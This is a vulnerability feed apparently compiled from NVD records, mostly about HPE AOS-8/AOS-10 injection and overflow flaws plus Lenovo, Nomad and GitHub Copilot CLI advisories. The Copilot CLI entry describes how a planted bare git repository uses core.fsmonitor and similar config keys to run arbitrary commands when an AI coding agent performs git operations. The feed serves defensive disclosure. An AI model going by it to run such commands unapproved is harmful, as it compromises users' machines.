NVD CVE-2026-44859: https://nvd.nist.gov/vuln/detail/CVE-2026-44859
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol.
https://kevwire.com/record/CVE-2026-44860
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. (May 12, 2026).
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44860).
Sources:
NVD CVE-2026-44860: https://nvd.nist.gov/vuln/detail/CVE-2026-44860
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol.
https://kevwire.com/record/CVE-2026-44861
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. (May 12, 2026).
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44861).
Sources:
NVD CVE-2026-44861: https://nvd.nist.gov/vuln/detail/CVE-2026-44861
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol.
https://kevwire.com/record/CVE-2026-44862
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. (May 12, 2026).
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44862).
Sources:
NVD CVE-2026-44862: https://nvd.nist.gov/vuln/detail/CVE-2026-44862
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol.
https://kevwire.com/record/CVE-2026-44863
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. (May 12, 2026).
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44863).
Sources:
NVD CVE-2026-44863: https://nvd.nist.gov/vuln/detail/CVE-2026-44863
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol.
https://kevwire.com/record/CVE-2026-44864
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. (May 12, 2026).
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44864).
Sources:
NVD CVE-2026-44864: https://nvd.nist.gov/vuln/detail/CVE-2026-44864
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-44865
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44865).
Sources:
NVD CVE-2026-44865: https://nvd.nist.gov/vuln/detail/CVE-2026-44865
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-44866
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44866).
Sources:
NVD CVE-2026-44866: https://nvd.nist.gov/vuln/detail/CVE-2026-44866
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-44867
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44867).
Sources:
NVD CVE-2026-44867: https://nvd.nist.gov/vuln/detail/CVE-2026-44867
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-44868
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44868).
Sources:
NVD CVE-2026-44868: https://nvd.nist.gov/vuln/detail/CVE-2026-44868
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-44869
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44869).
Sources:
NVD CVE-2026-44869: https://nvd.nist.gov/vuln/detail/CVE-2026-44869
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-44870
Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44870).
Sources:
NVD CVE-2026-44870: https://nvd.nist.gov/vuln/detail/CVE-2026-44870
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A command injection vulnerability exists in the web-based management interface of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-44872
A command injection vulnerability exists in the web-based management interface of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
A command injection vulnerability exists in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to place arbitrary files on the underlying filesystem of the affected device.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44872).
Sources:
NVD CVE-2026-44872: https://nvd.nist.gov/vuln/detail/CVE-2026-44872
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A command injection vulnerability exists in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to place arbitrary files on the underlying filesystem of the affected device.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitHub Copilot CLI brings AI-powered coding assistance directly to your command line.
https://kevwire.com/record/CVE-2026-45033
GitHub Copilot CLI brings AI-powered coding assistance directly to your command line. (May 13, 2026).
GitHub Copilot CLI brings AI-powered coding assistance directly to your command line. Prior to 1.0.43, a  security vulnerability has been identified in GitHub Copilot CLI where a malicious bare git repository nested inside a project directory can achieve arbitrary code execution when the agent performs git operations. By exploiting git's automatic bare repository discovery during directory traversal, an attacker can set core.fsmonitor or other executable config keys to run arbitrary commands without user awareness or approval. The vulnerability arises because git's core.fsmonitor config key (and 15+ similar keys such as core.hookspath, diff.external, merge.tool, etc.) can specify arbitrary shell commands that git will execute as part of normal operations like status, diff, or rev-parse. This vulnerability is fixed in 1.0.43.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45033).
Sources:
NVD CVE-2026-45033: https://nvd.nist.gov/vuln/detail/CVE-2026-45033
Vendor advisory (via NVD references): https://github.com/github/copilot-cli/security/advisories/GHSA-9ccr-r5hg-74gf
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
GitHub Copilot CLI brings AI-powered coding assistance directly to your command line. Prior to 1.0.43, a  security vulnerability has been identified in GitHub Copilot CLI where a malicious bare git repository nested inside a project directory can achieve arbitrary code execution when the agent performs git operations. By exploiting git's automatic bare repository discovery during directory traversal, an attacker can set core.fsmonitor or other executable config keys to run arbitrary commands without user awareness or approval. The vulnerability arises because git's core.fsmonitor config key (and 15+ similar keys such as core.hookspath, diff.external, merge.tool, etc.) can specify arbitrary shell commands that git will execute as part of normal operations like status, diff, or rev-parse. This vulnerability is fixed in 1.0.43.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A potential vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user on the local network to execute arbitrary...
https://kevwire.com/record/CVE-2026-6281
A potential vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user on the local network to execute arbitrary... (May 13, 2026).
A potential vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user on the local network to execute arbitrary commands on the device.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6281).
Sources:
NVD CVE-2026-6281: https://nvd.nist.gov/vuln/detail/CVE-2026-6281
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A potential vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user on the local network to execute arbitrary commands on the device.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A potential improper file path validation vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user to move or access...
https://kevwire.com/record/CVE-2026-6282
A potential improper file path validation vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user to move or access... (May 13, 2026).
A potential improper file path validation vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user to move or access files belonging to other users on the same device.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6282).
Sources:
NVD CVE-2026-6282: https://nvd.nist.gov/vuln/detail/CVE-2026-6282
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
A potential improper file path validation vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user to move or access files belonging to other users on the same device.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to code execution on the client host through a path traversal attack.
https://kevwire.com/record/CVE-2026-7474
HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to code execution on the client host through a path traversal attack. (May 12, 2026).
HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to code execution on the client host through a path traversal attack. This vulnerability (CVE-2026-7474) is fixed in Nomad 2.0.1, 1.11.5 and 1.10.11.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7474).
Sources:
NVD CVE-2026-7474: https://nvd.nist.gov/vuln/detail/CVE-2026-7474
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
